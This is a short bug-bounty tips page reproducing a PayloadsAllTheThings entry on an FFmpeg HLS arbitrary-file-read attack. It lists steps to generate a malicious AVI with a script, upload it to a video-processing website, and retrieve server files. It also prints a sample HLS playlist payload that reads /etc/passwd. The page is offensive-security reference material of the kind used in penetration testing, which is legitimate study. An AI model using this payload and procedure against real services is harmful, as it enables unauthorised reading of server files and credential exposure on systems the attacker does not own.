Upload Insecure Files: CVE - FFMpeg HLS

File uploadExploitation

From PayloadsAllTheThings by Swissky and contributors, under the MIT licence. Shown as written; the title and classification are ours. Licences. Its authors can have this tip removed by writing to abuse@bugbountytips.org.

FFmpeg is an open source software used for processing audio and video formats. You can use a malicious HLS playlist inside an AVI video to read arbitrary files.

  1. ./gen_xbin_avi.py file://<filename> file_read.avi

  2. Upload file_read.avi to some website that processes videofiles

  3. On server side, done by the videoservice: ffmpeg -i file_read.avi output.mp4

  4. Click "Play" in the videoservice.

  5. If you are lucky, you'll the content of <filename> from the server.

The script creates an AVI that contains an HLS playlist inside GAB2. The playlist generated by this script looks like this:

ps1
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:1.0
GOD.txt
#EXTINF:1.0
/etc/passwd
#EXT-X-ENDLIST

More payloads in the folder CVE FFmpeg HLS/.

Comments

No comments yet.